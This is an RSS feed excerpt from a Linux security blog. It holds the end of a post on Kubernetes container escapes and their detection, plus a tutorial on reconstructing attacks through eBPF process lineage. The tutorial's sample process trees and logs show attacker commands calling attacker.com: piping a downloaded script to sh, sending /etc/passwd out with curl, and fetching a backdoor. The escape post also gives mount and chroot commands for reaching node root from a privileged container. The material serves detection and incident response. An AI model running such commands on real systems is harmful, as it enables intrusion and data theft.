<h2 id="production-gotchas"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/26a0.png" alt="⚠" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Production Gotchas</h2>
<p><strong>Legitimate workloads that require &#8211;privileged or hostPID.</strong> CNI plugins (Cilium, Calico, Flannel node agents), node-local-dns, monitoring agents (node exporters, eBPF-based agents like Tetragon itself), and storage drivers often need elevated access. Blanket enforcement of Restricted profile without exceptions breaks these workloads. The approach: enforce Restricted on application namespaces; use a dedicated namespace for infrastructure DaemonSets with the Baseline or Privileged policy and compensate with Falco detection and node isolation.</p>
<p><strong>Seccomp Restricted blocks some monitoring agents.</strong> The default Restricted seccomp profile blocks several syscalls that APM agents and profiling tools use. Run <code class="" data-line="">strace -c -f ./your-agent</code> to capture the syscall profile of your monitoring agent before enforcing Restricted. Common culprits: <code class="" data-line="">perf_event_open</code> (used by profilers), <code class="" data-line="">ptrace</code> (used by some debuggers), <code class="" data-line="">bpf</code> (used by eBPF-based tools). Add these to an allowlist seccomp profile rather than running the agent without any profile.</p>
<p><strong>runc CVEs require node patching, not policy.</strong> PodSecurity admission and Falco rules protect against configuration-based escapes. A vulnerability in runc, containerd, or the Linux kernel itself bypasses policy-based controls entirely. Keep container runtime versions current; enable automatic node OS patching (Bottlerocket, Flatcar Linux) if your infrastructure allows it. Subscribe to CVE feeds for containerd (<code class="" data-line="">containerd/containerd</code>) and runc (<code class="" data-line="">opencontainers/runc</code>) specifically.</p>
<p><strong>hostPath volumes are a partial equivalent to &#8211;privileged.</strong> A pod without <code class="" data-line="">--privileged</code> but with a hostPath volume mounting <code class="" data-line="">/etc</code> or <code class="" data-line="">/var/lib/kubelet</code> can read node credentials without needing to mount a block device. PodSecurity Restricted blocks hostPath entirely; Baseline allows it. Audit for hostPath volumes separately from <code class="" data-line="">--privileged</code>.</p>
<p><strong>RuntimeClass with gVisor has syscall compatibility gaps.</strong> Applications that use <code class="" data-line="">io_uring</code>, certain socket options, or kernel modules will not work under gVisor&#8217;s sentry. Test in staging before deploying to production. The gVisor compatibility matrix is documented at gvisor.dev/docs/user_guide/compatibility — check it for any application that does direct filesystem I/O at high volume (databases, high-throughput queues) as the overhead may be unacceptable even if the syscalls are supported.</p>
<hr />
<h2 id="quick-reference">Quick Reference</h2>
<table>
<thead>
<tr>
<th>Escape Path</th>
<th>Precondition</th>
<th>Detection Signal</th>
<th>Structural Fix</th>
</tr>
</thead>
<tbody>
<tr>
<td>Privileged container → mount</td>
<td><code class="" data-line="">privileged: true</code></td>
<td>Falco: mount syscall from container; Tetragon: sys_mount kprobe</td>
<td>PodSecurity Restricted enforce; seccomp blocks mount</td>
</tr>
<tr>
<td>hostPID + nsenter</td>
<td><code class="" data-line="">hostPID: true</code></td>
<td>Falco: nsenter exec in container; audit log: pod creation with hostPID</td>
<td>PodSecurity Restricted; blocks hostPID</td>
</tr>
<tr>
<td>hostNetwork + IMDS</td>
<td><code class="" data-line="">hostNetwork: true</code></td>
<td>CloudTrail: IMDSv1 call from unexpected source</td>
<td>Enforce IMDSv2 hop limit 1; PodSecurity Restricted</td>
</tr>
<tr>
<td>runc CVE (CVE-2019-5736)</td>
<td>Unpatched runc</td>
<td>Tetragon: vfs_write to /proc/self/exe</td>
<td>Patch runc/containerd; use RuntimeClass (gVisor)</td>
</tr>
<tr>
<td>hostPath volume mount</td>
<td>hostPath to sensitive path</td>
<td>Falco: sensitive host file access; PodSecurity audit</td>
<td>PodSecurity Restricted (blocks hostPath)</td>
</tr>
<tr>
<td>Escaped → API server</td>
<td>Node credential access</td>
<td>Audit log: API calls from node IP at unexpected time</td>
<td>Network policy blocking node→API server egress</td>
</tr>
</tbody>
</table>
<hr />
<h2 id="key-takeaways">Key Takeaways</h2>
<ul>
<li><strong>Kubernetes container escape</strong> starts at the kernel: <code class="" data-line="">--privileged</code>, <code class="" data-line="">hostPID</code>, and <code class="" data-line="">hostNetwork</code> remove Linux namespace and cgroup isolation — the Kubernetes API cannot prevent what happens inside a process that runs with those flags</li>
<li>Two commands from privileged container to root on the node: <code class="" data-line="">mount /dev/sda1 /mnt/host</code> and <code class="" data-line="">chroot /mnt/host /bin/bash</code> — this is not a sophisticated exploit, it is a default kernel behavior</li>
<li>eBPF detection (Falco, Tetragon) operates at the syscall level and catches the escape in progress; Kubernetes audit logs only catch the misconfigured pod creation, not the exploitation</li>
<li>PodSecurity Restricted enforcement at the namespace level is the structural fix for configuration-based escapes — it blocks <code class="" data-line="">--privileged</code>, <code class="" data-line="">hostPID</code>, <code class="" data-line="">hostNetwork</code>, and hostPath volumes before a pod schedules</li>
<li>runc-class CVEs are independent of configuration — node-level patching and RuntimeClass (gVisor/Kata) isolation are the controls, not policy enforcement</li>
<li>Network policy as a secondary layer limits post-escape lateral movement: a container that escapes to the node should not be able to reach the API server with stolen node credentials</li>
</ul>
<hr />
<h2 id="whats-next">What&#8217;s Next</h2>
<p>Container escape requires access to a running pod. But what if the attacker didn&#8217;t need to exploit anything at runtime — they shipped the attack as a dependency your build pipeline trusted? EP09 covers supply chain attacks from SolarWinds to XZ Utils: how a malicious package or a compromised build step becomes arbitrary code execution before the container ever runs, the detection patterns that are specific to supply chain compromise (dependency confusion, typosquatting, malicious maintainer takeovers), and the SLSA framework controls that create a verifiable chain of custody from source to deployed artifact.</p>
<p>Get EP09 in your inbox when it publishes → <a href="#subscribe">subscribe at linuxcent.com</a></p>
<p><a class="a2a_button_mastodon" href="https://www.addtoany.com/add_to/mastodon?linkurl=https%3A%2F%2Flinuxcent.com%2Fkubernetes-container-escape-attack-paths%2F&amp;linkname=Kubernetes%20Container%20Escape%3A%20Attack%20Paths%20and%20eBPF%20Detection" title="Mastodon" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_email" href="https://www.addtoany.com/add_to/email?linkurl=https%3A%2F%2Flinuxcent.com%2Fkubernetes-container-escape-attack-paths%2F&amp;linkname=Kubernetes%20Container%20Escape%3A%20Attack%20Paths%20and%20eBPF%20Detection" title="Email" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_whatsapp" href="https://www.addtoany.com/add_to/whatsapp?linkurl=https%3A%2F%2Flinuxcent.com%2Fkubernetes-container-escape-attack-paths%2F&amp;linkname=Kubernetes%20Container%20Escape%3A%20Attack%20Paths%20and%20eBPF%20Detection" title="WhatsApp" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_reddit" href="https://www.addtoany.com/add_to/reddit?linkurl=https%3A%2F%2Flinuxcent.com%2Fkubernetes-container-escape-attack-paths%2F&amp;linkname=Kubernetes%20Container%20Escape%3A%20Attack%20Paths%20and%20eBPF%20Detection" title="Reddit" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_x" href="https://www.addtoany.com/add_to/x?linkurl=https%3A%2F%2Flinuxcent.com%2Fkubernetes-container-escape-attack-paths%2F&amp;linkname=Kubernetes%20Container%20Escape%3A%20Attack%20Paths%20and%20eBPF%20Detection" title="X" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_linkedin" href="https://www.addtoany.com/add_to/linkedin?linkurl=https%3A%2F%2Flinuxcent.com%2Fkubernetes-container-escape-attack-paths%2F&amp;linkname=Kubernetes%20Container%20Escape%3A%20Attack%20Paths%20and%20eBPF%20Detection" title="LinkedIn" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_copy_link" href="https://www.addtoany.com/add_to/copy_link?linkurl=https%3A%2F%2Flinuxcent.com%2Fkubernetes-container-escape-attack-paths%2F&amp;linkname=Kubernetes%20Container%20Escape%3A%20Attack%20Paths%20and%20eBPF%20Detection" title="Copy Link" rel="nofollow noopener" target="_blank"></a><a class="a2a_dd addtoany_share_save addtoany_share" href="https://www.addtoany.com/share#url=https%3A%2F%2Flinuxcent.com%2Fkubernetes-container-escape-attack-paths%2F&#038;title=Kubernetes%20Container%20Escape%3A%20Attack%20Paths%20and%20eBPF%20Detection" data-a2a-url="https://linuxcent.com/kubernetes-container-escape-attack-paths/" data-a2a-title="Kubernetes Container Escape: Attack Paths and eBPF Detection"></a></p><p>The post <a href="https://linuxcent.com/kubernetes-container-escape-attack-paths/">Kubernetes Container Escape: Attack Paths and eBPF Detection</a> appeared first on <a href="https://linuxcent.com">Linuxcent</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://linuxcent.com/kubernetes-container-escape-attack-paths/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">1864</post-id>	</item>
		<item>
		<title>Process Lineage — Reconstructing What Happened After the Fact</title>
		<link>https://linuxcent.com/ebpf-process-lineage-incident-response/</link>
					<comments>https://linuxcent.com/ebpf-process-lineage-incident-response/#respond</comments>
		
		<dc:creator><![CDATA[Vamshi Krishna Santhapuri]]></dc:creator>
		<pubDate>Thu, 18 Jun 2026 02:00:00 +0000</pubDate>
				<category><![CDATA[eBPF]]></category>
		<category><![CDATA[Forensics]]></category>
		<category><![CDATA[Incident Response]]></category>
		<category><![CDATA[kprobe]]></category>
		<category><![CDATA[Kubernetes]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Process Lineage]]></category>
		<category><![CDATA[Security]]></category>
		<guid isPermaLink="false">https://linuxcent.com/?p=1842</guid>

					<description><![CDATA[<p><span class="span-reading-time rt-reading-time" style="display: block;"><span class="rt-label rt-prefix">Reading Time: </span> <span class="rt-time"> 9</span> <span class="rt-label rt-postfix">minutes</span></span>Process lineage eBPF reconstructs a compromised container's history — what it spawned, what it touched, what it connected to — even after it exits.</p>
<p>The post <a href="https://linuxcent.com/ebpf-process-lineage-incident-response/">Process Lineage — Reconstructing What Happened After the Fact</a> appeared first on <a href="https://linuxcent.com">Linuxcent</a>.</p>
]]></description>
										<content:encoded><![CDATA[<span class="span-reading-time rt-reading-time" style="display: block;"><span class="rt-label rt-prefix">Reading Time: </span> <span class="rt-time"> 9</span> <span class="rt-label rt-postfix">minutes</span></span><style>
pre{position:relative;background:#1e1e1e;color:#d4d4d4;
    padding:16px 16px 16px 20px;border-radius:6px;overflow-x:auto;
    font-family:'JetBrains Mono','Fira Code','Cascadia Code',Consolas,'Courier New',monospace;
    font-size:.88em;line-height:1.6;border-left:4px solid #555}
code{background:#f4f4f4;padding:2px 5px;border-radius:3px;font-size:.9em}
pre code{background:transparent;padding:0;color:inherit}
pre[data-lang="bash"],pre[data-lang="sh"],
pre[data-lang="shell"],pre[data-lang="zsh"]{border-left-color:#4ec9b0}
pre[data-lang="yaml"],pre[data-lang="json"],
pre[data-lang="toml"],pre[data-lang="xml"]{border-left-color:#569cd6}
pre[data-lang="python"],pre[data-lang="go"],pre[data-lang="rust"],
pre[data-lang="java"],pre[data-lang="c"],pre[data-lang="cpp"]{border-left-color:#c586c0}
pre[data-lang="text"],pre[data-lang="output"],
pre[data-lang="console"]{border-left-color:#888}
.lc-copy-btn{position:absolute;top:8px;right:8px;background:#2d2d2d;color:#ccc;
    border:1px solid #444;border-radius:4px;padding:3px 9px;font-size:.75em;
    font-family:system-ui,sans-serif;cursor:pointer;opacity:0;
    transition:opacity .15s,background .15s;line-height:1.6}
pre:hover .lc-copy-btn{opacity:1}
.lc-copy-btn:hover{background:#3a3a3a;color:#fff}
.lc-copy-btn.copied{color:#4ec9b0;border-color:#4ec9b0}
.lc-lang-badge{position:absolute;top:8px;left:20px;font-family:system-ui,sans-serif;
    font-size:.7em;color:#666;text-transform:uppercase;letter-spacing:.04em;
    line-height:1;pointer-events:none;opacity:0;transition:opacity .15s}
pre:hover .lc-lang-badge{opacity:1}
table{border-collapse:collapse;width:100%;margin:16px 0}
th,td{border:1px solid #ddd;padding:10px 14px;text-align:left}
th{background:#f0f0f0;font-weight:600}
tr:nth-child(even){background:#fafafa}
</style>
<p><script>
(function(){
  if(window.__lcCodeEnhanced)return;
  window.__lcCodeEnhanced=true;
  function enhance(){
    document.querySelectorAll('pre').forEach(function(pre){
      var code=pre.querySelector('code');
      var lang='';
      if(code){var m=(code.className||'').match(/language-(\S+)/);if(m)lang=m[1].toLowerCase();}
      if(lang)pre.setAttribute('data-lang',lang);
      if(lang){var badge=document.createElement('span');badge.className='lc-lang-badge';badge.textContent=lang;pre.insertBefore(badge,pre.firstChild);}
      var btn=document.createElement('button');
      btn.className='lc-copy-btn';btn.textContent='Copy';btn.setAttribute('aria-label','Copy code to clipboard');
      pre.appendChild(btn);
      btn.addEventListener('click',function(){
        var text=code?code.innerText:pre.innerText;
        if(navigator.clipboard&&window.isSecureContext){
          navigator.clipboard.writeText(text).then(function(){ok(btn);}).catch(function(){fb(text,btn);});
        }else{fb(text,btn);}
      });
    });
  }
  function ok(btn){btn.textContent='Copied!';btn.classList.add('copied');setTimeout(function(){btn.textContent='Copy';btn.classList.remove('copied');},2000);}
  function fb(text,btn){
    try{var ta=document.createElement('textarea');ta.value=text;ta.style.cssText='position:fixed;left:-9999px;top:-9999px;opacity:0';document.body.appendChild(ta);ta.select();document.execCommand('copy');document.body.removeChild(ta);ok(btn);}
    catch(e){btn.textContent='✗ Failed';setTimeout(function(){btn.textContent='Copy';},2000);}
  }
  if(document.readyState==='loading'){document.addEventListener('DOMContentLoaded',enhance);}else{enhance();}
})();
</script></p>
<p><em>eBPF: From Kernel to Cloud, Episode 13</em><br />
<a href="/what-is-ebpf-linux-kubernetes/">What Is eBPF?</a> · <a href="/bpf-verifier-kubernetes-safety/">The BPF Verifier</a> · <a href="/ebpf-vs-kernel-modules-kubernetes/">eBPF vs Kernel Modules</a> · <a href="/ebpf-program-types-kubernetes/">eBPF Program Types</a> · <a href="/ebpf-maps-explained/">eBPF Maps</a> · <a href="/ebpf-co-re-libbpf-portable-programs/">CO-RE and libbpf</a> · <a href="/ebpf-xdp-kubernetes-networking/">XDP</a> · <a href="/tc-ebpf-kubernetes-network-policy/">TC eBPF</a> · <a href="/bpftrace-kernel-observability/">bpftrace</a> · <a href="/ebpf-network-flow-observability/">Network Flow Observability</a> · <a href="/ebpf-dns-observability-kubernetes/">DNS Observability</a> · <a href="/ebpf-lsm-tetragon-runtime-security/">LSM and Tetragon</a> · <strong>Process Lineage</strong></p>
<hr />
<h2 id="tldr">TL;DR</h2>
<ul>
<li>Process lineage with eBPF hooks <code class="" data-line="">fork</code> and <code class="" data-line="">exec</code> at the kernel level — building a tamper-resistant record of every process spawned, tied to its parent, pod, namespace, and timestamp<br />
  <em>(kprobe on fork/exec = an eBPF program that fires every time the kernel&#8217;s <code class="" data-line="">fork()</code> or <code class="" data-line="">execve()</code> system call runs, capturing process name, PID, parent PID, and arguments before any userspace observer could be bypassed)</em></li>
<li>Application logs and container stdout can be deleted or suppressed by a compromised process; kernel-level process events written to a ringbuf and exported to a persistent store cannot</li>
<li>The kernel&#8217;s <code class="" data-line="">task_struct</code> contains the complete process identity: PID, PPID, UID, GID, process name, capabilities, and cgroup (which maps directly to a pod)</li>
<li>Tetragon and Falco both build process lineage from kernel events; the difference is storage — Tetragon persists a kernel-side cache of the process tree in BPF maps, Falco reconstructs lineage from an audit log stream</li>
<li>Reconstructing an incident from process lineage requires: who spawned the attacker&#8217;s process, what did it execute, what files did it open, what connections did it make — all correlated by PID and timestamp</li>
<li>Production caution: process events on a busy node can generate high ringbuf write volume; filter aggressively by namespace/cgroup at the eBPF level, not in userspace</li>
</ul>
<hr />
<p>EP12 showed how LSM hooks enforce at the syscall boundary — preventing operations before they complete. Process lineage with eBPF is the complementary capability: when an attacker bypasses enforcement, or when you need to understand what happened before the policy was in place, the kernel-level process record is how you reconstruct the attack chain. This episode covers how that record is built and how to read it.</p>
<h2 id="quick-check-what-process-events-is-your-cluster-already-recording">Quick Check: What Process Events Is Your Cluster Already Recording?</h2>
<pre><code class="" data-line=""># On any cluster node — verify exec tracing is available
bpftrace -e &#039;
tracepoint:syscalls:sys_enter_execve {
    printf(&quot;%-20s %-6d %s\n&quot;, comm, pid, str(args-&gt;filename));
}&#039; --timeout 10

# Expected output:
# containerd-shim     1203   /usr/bin/runc
# runc                1204   /usr/sbin/runc
# sh                  1205   /bin/sh
# node                1842   /usr/local/bin/node
# kube-proxy          2091   /usr/local/bin/kube-proxy
</code></pre>
<pre><code class="" data-line=""># If Tetragon is installed — view the live process lineage stream
kubectl exec -n kube-system \
  $(kubectl get pod -n kube-system -l app.kubernetes.io/name=tetragon -o name | head -1) \
  -- tetra getevents --event-types PROCESS_EXEC | head -20
</code></pre>
<p>Sample Tetragon output:</p>
<pre><code class="" data-line="">{
  &quot;process_exec&quot;: {
    &quot;process&quot;: {
      &quot;pid&quot;: 18293,
      &quot;binary&quot;: &quot;/bin/sh&quot;,
      &quot;arguments&quot;: &quot;-c health-check.sh&quot;,
      &quot;start_time&quot;: &quot;2026-04-22T09:14:03.412Z&quot;,
      &quot;pod&quot;: {&quot;name&quot;: &quot;my-app-6d4f9-xk2p1&quot;, &quot;namespace&quot;: &quot;production&quot;},
      &quot;parent_pid&quot;: 18201
    },
    &quot;parent&quot;: {
      &quot;pid&quot;: 18201,
      &quot;binary&quot;: &quot;/usr/local/bin/my-app&quot;,
      &quot;pod&quot;: {&quot;name&quot;: &quot;my-app-6d4f9-xk2p1&quot;, &quot;namespace&quot;: &quot;production&quot;}
    }
  }
}
</code></pre>
<p>Each event has the process, its parent, the pod, the namespace, and the full binary path. That&#8217;s the raw material for process lineage reconstruction.</p>
<blockquote>
<p><strong>Not running Tetragon?</strong> Plain bpftrace on the node gives you the same raw data without Kubernetes enrichment — you get PIDs and process names but not pod names or namespaces without the <code class="" data-line="">/proc/&lt;pid&gt;/cgroup</code> mapping step. For incident reconstruction, the Tetragon-enriched stream is significantly more useful because pod attribution is baked in at capture time, not reconstructed afterward.</p>
</blockquote>
<hr />
<p>A container in the <code class="" data-line="">payments</code> namespace was reported compromised. The security team&#8217;s automated response had already restarted the pod — the attacker&#8217;s process was gone. The container&#8217;s filesystem had been reset to the image. The application logs for that pod were deleted when the pod restarted. The Kubernetes event log showed the pod restart but nothing about what had run inside it.</p>
<p>Three questions, no answers yet:<br />
1. What spawned the attacker&#8217;s process? (was it a remote code execution in the app, or a misconfigured exec?)<br />
2. What did the attacker run after getting in? (what did they download, execute, touch?)<br />
3. What network connections did they make? (where did data go, if anywhere?)</p>
<p>The answers were in Tetragon&#8217;s process event export — captured at the kernel level before the pod was restarted, stored in the observability backend, and queryable by pod name and time window. The kernel had seen every exec, every fork, every file open. The restart didn&#8217;t touch that record.</p>
<p>The lineage showed:</p>
<pre><code class="" data-line="">my-app (PID 18201)
  └── sh -c &quot;curl http://attacker.com/payload.sh | sh&quot;  (PID 18293)
        └── sh payload.sh  (PID 18294)
              ├── cat /etc/passwd  (PID 18295)
              ├── curl http://attacker.com/exfil -d @/etc/passwd  (PID 18296)
              └── wget -O /tmp/.x http://attacker.com/backdoor  (PID 18297)
                    └── chmod +x /tmp/.x  (PID 18298)
</code></pre>
<p>Five minutes of attacker activity, fully reconstructed, from a pod that no longer existed.</p>
<hr />
<h2 id="how-the-kernel-tracks-process-identity">How the Kernel Tracks Process Identity</h2>
<p>Every process in Linux is represented by a <code class="" data-line="">task_struct</code> — the kernel&#8217;s internal data structure for a running process. It contains everything the kernel knows about that process.</p>
<blockquote>
<p><strong><code class="" data-line="">task_struct</code></strong> — the kernel&#8217;s primary data structure for a process. Contains: PID, PPID, UID, GID, process name (comm, 15 chars), open file descriptors, memory mappings, namespace references, cgroup membership, capabilities, and a pointer to the parent <code class="" data-line="">task_struct</code>. When bpftrace uses <code class="" data-line="">curtask</code>, it&#8217;s returning a pointer to the current process&#8217;s <code class="" data-line="">task_struct</code>. Reading <code class="" data-line="">curtask-&gt;real_parent-&gt;tgid</code> gives you the parent&#8217;s PID — the foundation of process lineage.</p>
</blockquote>
<p>When a process calls <code class="" data-line="">fork()</code>, the kernel:<br />
1. Allocates a new <code class="" data-line="">task_struct</code> for the child<br />
2. Copies the parent&#8217;s <code class="" data-line="">task_struct</code> fields into the child<br />
3. Sets the child&#8217;s <code class="" data-line="">real_parent</code> pointer to the parent&#8217;s <code class="" data-line="">task_struct</code><br />
4. Assigns the child a new PID<br />
5. Returns the child&#8217;s PID to the parent, and 0 to the child</p>
<p>When the child calls <code class="" data-line="">execve()</code>, the kernel:<br />
1. Validates the binary (verifier/capability checks, LSM hooks)<br />
2. Replaces the process&#8217;s memory image with the new binary<br />
3. Updates <code class="" data-line="">task_struct-&gt;comm</code> with the new process name<br />
4. The PID does not change — <code class="" data-line="">execve</code> replaces the process image but not the process identity</p>
<p>This <code class="" data-line="">fork</code> → <code class="" data-line="">exec</code> sequence is how every shell command works: the shell forks a child, the child execs the command. eBPF hooks on both events, correlated by PID and parent PID, give you the complete tree.</p>
<hr />
<h2 id="building-the-process-tree-with-kprobes">Building the Process Tree with kprobes</h2>
<p>The two core hooks for process lineage:</p>
<pre><code class="" data-line=""># Every fork — capture parent/child relationship
bpftrace -e &#039;
tracepoint:syscalls:sys_exit_clone {
    if (retval &gt; 0) {
        # retval is the child PID (from parent&#039;s perspective)
        printf(&quot;FORK parent=%-6d child=%-6d parent_comm=%-20s\n&quot;,
               pid, retval, comm);
    }
}&#039;
</code></pre>
<pre><code class="" data-line=""># Every exec — capture what binary replaced the process image
bpftrace -e &#039;
tracepoint:syscalls:sys_enter_execve {
    printf(&quot;EXEC pid=%-6d ppid=%-6d binary=%-40s args=%s\n&quot;,
           pid,
           curtask-&gt;real_parent-&gt;tgid,
           str(args-&gt;filename),
           str(*args-&gt;argv));
}&#039;
</code></pre>
<p>Combined output (30 seconds, simplified):</p>
<pre><code class="" data-line="">FORK parent=18201 child=18293  parent_comm=my-app
EXEC pid=18293 ppid=18201 binary=/bin/sh              args=sh -c curl http://...
FORK parent=18293 child=18294  parent_comm=sh
EXEC pid=18294 ppid=18293 binary=/bin/sh              args=sh payload.sh
FORK parent=18294 child=18295  parent_comm=sh
EXEC pid=18295 ppid=18294 binary=/bin/cat             args=cat /etc/passwd
FORK parent=18294 child=18296  parent_comm=sh
EXEC pid=18296 ppid=18294 binary=/usr/bin/curl        args=curl http://attacker.com/exfil -d @/etc/passwd
</code></pre>
<p>Each line is a kernel event. The parent/child PID chain is the tree. Rendered:</p>
<pre><code class="" data-line="">my-app (18201)
  └── sh (18293) — &quot;sh -c curl http://attacker.com/payload.sh | sh&quot;
        └── sh (18294) — &quot;sh payload.sh&quot;
              ├── cat (18295) — &quot;/etc/passwd&quot;
              └── curl (18296) — &quot;http://attacker.com/exfil -d @/etc/passwd&quot;
</code></pre>
<p>This tree is constructed entirely from kernel events. No application logging. No container stdout. No agent inside the container.</p>
<hr />
<h2 id="how-tetragon-stores-the-process-tree-in-bpf-maps">How Tetragon Stores the Process Tree in BPF Maps</h2>
<p>bpftrace&#8217;s approach above produces an event stream — a log you reconstruct manually. Tetragon takes a different approach: it maintains a live process tree in BPF maps, updated on every fork and exec event, persistently queryable.</p>
<pre><code class="" data-line="">Kernel events (kprobe on clone, execve, exit)
      ↓
Tetragon eBPF programs
      ↓
Write to BPF_MAP_TYPE_HASH: process_cache
      key: PID
      value: {binary, args, start_time, parent_pid, pod_name, namespace, uid, gid, caps}
      ↓
Tetragon userspace agent
      reads process_cache on events
      enriches with Kubernetes pod metadata (from informer cache)
      exports to gRPC stream → observability backend
</code></pre>
<blockquote>
<p><strong><code class="" data-line="">task_struct</code> in BPF maps</strong> — Tetragon doesn&#8217;t store the raw <code class="" data-line="">task_struct</code> pointer in its maps (pointers are not stable across process lifetime). Instead, it stores a snapshot of the relevant fields (PID, binary path, arguments, capabilities, cgroup path, start time) at the moment of the exec event, keyed by PID. When the process exits, the entry is kept in the cache for a configurable window to allow late-arriving events (like file closes or connection terminations) to be correlated back to the originating process.</p>
</blockquote>
<p>To inspect Tetragon&#8217;s process cache directly:</p>
<pre><code class="" data-line=""># Find the Tetragon process cache map
bpftool map list | grep process_cache

# 112: hash  name process_cache  flags 0x0
#      key 4B  value 256B  max_entries 65536  memlock 16777216B

# Dump a few entries
bpftool map dump id 112 | head -60

# [{
#     &quot;key&quot;: 18293,                           # ← PID
#     &quot;value&quot;: {
#         &quot;binary&quot;: &quot;/bin/sh&quot;,
#         &quot;args&quot;: &quot;sh -c curl http://...&quot;,
#         &quot;pid&quot;: 18293,
#         &quot;ppid&quot;: 18201,
#         &quot;uid&quot;: 1000,
#         &quot;start_time&quot;: 1745296443,
#         &quot;cgroup&quot;: &quot;kubepods/burstable/pod3f8a21bc/.../payments&quot;
#     }
# }]
</code></pre>
<p>The <code class="" data-line="">cgroup</code> field maps directly to the pod — same path as <code class="" data-line="">/proc/&lt;pid&gt;/cgroup</code> but captured at exec time and stored in kernel space.</p>
<hr />
<h2 id="correlating-files-and-connections-to-the-process-tree">Correlating Files and Connections to the Process Tree</h2>
<p>Process lineage is most useful when combined with the file access and network connection events from the same process. Tetragon&#8217;s TracingPolicy supports this multi-event correlation natively:</p>
<pre><code class="" data-line="">apiVersion: cilium.io/v1alpha1
kind: TracingPolicy
metadata:
  name: observe-process-lineage
spec:
  kprobes:
    - call: &quot;security_inode_permission&quot;
      syscall: false
      args:
        - index: 0
          type: &quot;inode&quot;
      selectors:
        - matchNamespaces:
            - namespace: Net
              operator: &quot;NotIn&quot;
              values: [&quot;1&quot;]    # exclude host network namespace
          matchActions:
            - action: Post   # audit: log but don&#039;t block
    - call: &quot;tcp_connect&quot;
      syscall: false
      args:
        - index: 0
          type: &quot;sock&quot;
      selectors:
        - matchActions:
            - action: Post
</code></pre>
<p>With this policy active, Tetragon emits events for both file access and TCP connections, each carrying the full process context (PID, binary, pod, parent). Correlated by PID and timestamp:</p>
<pre><code class="" data-line="">tetra getevents | jq &#039;select(.process_kprobe.function_name == &quot;tcp_connect&quot;) |
  {pid: .process_kprobe.process.pid,
   binary: .process_kprobe.process.binary,
   pod: .process_kprobe.process.pod.name,
   dst: .process_kprobe.args[0].sock_arg.daddr}&#039;
</code></pre>
<p>Sample output:</p>
<pre><code class="" data-line="">{&quot;pid&quot;: 18296, &quot;binary&quot;: &quot;/usr/bin/curl&quot;, &quot;pod&quot;: &quot;my-app-6d4f9-xk2p1&quot;, &quot;dst&quot;: &quot;93.184.216.34&quot;}
{&quot;pid&quot;: 18297, &quot;binary&quot;: &quot;/usr/bin/wget&quot;, &quot;pod&quot;: &quot;my-app-6d4f9-xk2p1&quot;, &quot;dst&quot;: &quot;93.184.216.34&quot;}
</code></pre>
<p>PID 18296 and 18297 both connected to the same IP. Cross-reference with the process tree: those are the <code class="" data-line="">curl</code> and <code class="" data-line="">wget</code> spawned by the attacker&#8217;s payload script. The destination IP is the attacker&#8217;s infrastructure. The timeline is milliseconds-precise because the events are timestamped by the kernel at the hook point.</p>
<hr />
<h2 id="building-process-lineage-without-tetragon">Building Process Lineage Without Tetragon</h2>
<p>If you&#8217;re not running Tetragon, you can build a basic process lineage recorder with bpftrace that writes to a file:</p>
<pre><code class="" data-line=""># Record all exec events to a file — run in the background on the node
bpftrace -e &#039;
tracepoint:syscalls:sys_enter_execve {
    printf(&quot;%llu EXEC pid=%-6d ppid=%-6d binary=%s\n&quot;,
           nsecs, pid, curtask-&gt;real_parent-&gt;tgid, str(args-&gt;filename));
}
tracepoint:sched:sched_process_exit {
    printf(&quot;%llu EXIT pid=%-6d comm=%s\n&quot;, nsecs, pid, comm);
}
&#039; &gt; /var/log/process-lineage.log &amp;

# Tail the log for real-time observation
tail -f /var/log/process-lineage.log
</code></pre>
<p>Sample output:</p>
<pre><code class="" data-line="">1745296443123456789 EXEC pid=18293 ppid=18201 binary=/bin/sh
1745296443234567890 EXEC pid=18294 ppid=18293 binary=/bin/sh
1745296443345678901 EXEC pid=18295 ppid=18294 binary=/bin/cat
1745296443456789012 EXIT pid=18295 comm=cat
1745296443567890123 EXEC pid=18296 ppid=18294 binary=/usr/bin/curl
1745296443678901234 EXIT pid=18293 comm=sh
</code></pre>
<p>This file survives pod restarts because it&#8217;s on the node, not in the container. After the pod is restarted, the process lineage record is still on disk. You reconstruct the tree by grouping by <code class="" data-line="">ppid</code> and ordering by timestamp.</p>
<hr />
<h2 id="production-gotchas"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/26a0.png" alt="⚠" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Production Gotchas</h2>
<p><strong>Ringbuf saturation on high-process-churn nodes.</strong> Nodes running serverless workloads or short-lived batch jobs may spawn thousands of processes per minute. Hooking exec on every process at that rate generates a high ringbuf write volume. Filter at the eBPF level by cgroup (namespace) rather than in userspace — sending events to userspace only to discard them wastes ringbuf space and CPU. Tetragon&#8217;s namespace selector does this filtering in the eBPF program before the write.</p>
<p><strong>The 15-character <code class="" data-line="">comm</code> truncation.</strong> The <code class="" data-line="">comm</code> field in <code class="" data-line="">task_struct</code> is limited to 15 characters (plus null terminator). Process names longer than 15 characters are truncated. <code class="" data-line="">bpftrace</code>&#8216;s <code class="" data-line="">comm</code> built-in has the same limit. For the full binary path, read from <code class="" data-line="">execve</code>&#8216;s <code class="" data-line="">filename</code> argument at the tracepoint, not from <code class="" data-line="">comm</code>.</p>
<p><strong>PID reuse.</strong> Linux PIDs are reused after a process exits. In a high-churn environment, a PID you recorded as an attacker process may be reassigned to a legitimate process seconds later. Always pair PIDs with start time and cgroup path when correlating across events. Tetragon&#8217;s process cache keys on PID + start time to handle this.</p>
<p><strong>Exec chains lose argument history.</strong> When <code class="" data-line="">execve</code> replaces the process image, <code class="" data-line="">task_struct-&gt;comm</code> changes but the PID does not. If the attacker&#8217;s shell runs <code class="" data-line="">exec bash</code> to replace itself with a less suspicious binary name, the exec event captures the new binary — but the PID lineage still shows the parent correctly. Don&#8217;t rely on <code class="" data-line="">comm</code> alone for process identity; always track the binary path from the exec event.</p>
